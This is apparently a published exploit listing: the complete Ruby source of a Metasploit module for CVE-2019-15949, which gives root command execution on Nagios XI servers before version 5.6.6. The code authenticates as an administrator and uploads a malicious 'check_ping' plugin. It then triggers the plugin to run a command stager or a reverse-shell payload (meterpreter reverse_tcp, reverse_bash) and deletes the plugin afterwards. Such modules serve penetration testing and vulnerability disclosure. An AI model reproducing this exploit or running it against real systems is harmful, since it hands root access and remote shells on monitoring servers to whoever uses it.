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Nagios XI Authenticated Remote Command Execution

Nagios XI Authenticated Remote Command Execution
Posted Mar 10, 2020
Authored by Erik Wynter, Jak Gibb | Site metasploit.com

This Metasploit module exploits a vulnerability in Nagios XI versions before 5.6.6 in order to execute arbitrary commands as root. The module uploads a malicious plugin to the Nagios XI server and then executes this plugin by issuing an HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. The module may behave differently against older versions of Nagios XI.

tags | exploit, web, arbitrary, root
systems | linux, unix, osx, centos
advisories | CVE-2019-15949
MD5 | 27aeb9dcadc656869ca4d5c1b08a9963

Nagios XI Authenticated Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Authenticated Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in Nagios XI before 5.6.6 in
order to execute arbitrary commands as root.

The module uploads a malicious plugin to the Nagios XI server and then
executes this plugin by issuing an HTTP GET request to download a
system profile from the server. For all supported targets except Linux
(cmd), the module uses a command stager to write the exploit to the
target via the malicious plugin. This may not work if Nagios XI is
running in a restricted Unix environment, so in that case the target
must be set to Linux (cmd). The module then writes the payload to the
malicious plugin while avoiding commands that may not be supported.

Valid credentials for a user with administrative privileges are
required. This module was successfully tested on Nagios XI 5.6.5
running on CentOS 7. The module may behave differently against older
versions of Nagios XI. See the documentation for more information.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2019-15949'],
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit
],
'Payload' => { 'BadChars' => "\x00" },
'Targets' =>
[
[ 'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
} ],
[ 'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
} ],
[ 'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Payload' => {
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
'BadChars' => "\""
}
} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 29 2019',
'DefaultOptions' => {
'RPORT' => 80,
'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request.
'WfsDelay' => 10
},
'DefaultTarget' => 1))
register_options [
OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]

register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
import_target_defaults
end

def check
vprint_status("Running check")

#visit Nagios XI login page to obtain the nsp value required for authentication
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php')

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 200 && res.body.include?('Nagios XI')
return CheckCode::Safe('Target is not a Nagios XI application.')
end

@nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''

if @nsp.to_s.eql? ''
return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.'
end

#Attempt to authenticate
@username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon

auth_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
nsp: @nsp,
page: 'auth',
debug: '',
pageopt: 'login',
username: @username,
password: password,
loginButton: ''
}
})

unless auth_res
fail_with Failure::Unreachable, 'Connection failed'
end

unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php"
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
end

#Check Nagios XI version - this requires a separate request because following the redirect doesn't work
@cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon
@cookie = @cookie.split().last #app returns 3 cookies, we need only the last one
version_check = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/index.php'),
'method' => 'GET',
'cookie' => @cookie,
'nsp' => @nsp
})

unless version_check
fail_with Failure::Unreachable, 'Connection failed'
end

unless version_check.code == 200 && version_check.body.include?('Home Dashboard')
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
end

@version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue ''
if @version.to_s.eql? ''
return CheckCode::Detected('Could not determine Nagios XI version.')
end

@version = Gem::Version.new @version

unless @version <= Gem::Version.new('5.6.5')
return CheckCode::Safe("Target is Nagios XI with version #{@version}.")
end

CheckCode::Appears("Target is Nagios XI with version #{@version}.")
end

def check_plugin_permissions
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'GET',
'cookie' => @cookie,
'nsp' => @nsp
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200 && res.body.include?('Manage Plugins')
fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.")
end

@plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
if @plugin_nsp.to_s.eql? ''
fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.'
end

@plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
end

def execute_command(cmd, opts = {})
print_status("Uploading malicious 'check_ping' plugin...")
boundary = rand_text_numeric(14)
post_data = "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n"
post_data << "#{@plugin_nsp}\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename
post_data << "Content-Type: text/plain\n\n"
post_data << "#{cmd}\n"
post_data << "-----------------------------#{boundary}--\n"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header
'cookie' => @plugin_cookie,
'data' => post_data
})

unless res
fail_with Failure::Unreachable, 'Upload failed'
end

unless res.code == 200 && res.body.include?('New plugin was installed successfully')
fail_with Failure::Unknown, 'Failed to upload plugin.'
end

@plugin_installed = true
end

def execute_payload #This request will timeout. It has to, for the exploit to work.
print_status("Executing plugin...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
'method' => 'GET',
'cookie' => @cookie,
'vars_get' => { cmd: 'download' }
})
end

def cleanup()
return unless @plugin_installed

print_status("Deleting malicious 'check_ping' plugin...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'GET',
'cookie' => @plugin_cookie,
'vars_get' => {
delete: 'check_ping',
nsp: @plugin_nsp
}
})

unless res
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
return
end

unless res.code == 200 && res.body.include?('Plugin deleted')
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
return
end

print_good("Plugin deleted.")
end

def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if @version
print_status("Found Nagios XI application with version #{@version}.")
end

check_plugin_permissions
vprint_status("User #{@username} has the required permissions on the target.")

if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
message = "Waiting for the payload to connect back..."
else
execute_cmdstager(background: true)
message = "Waiting for the plugin to request the final payload..."
end
print_good("Successfully uploaded plugin.")
execute_payload
print_status "#{message}"
end
end
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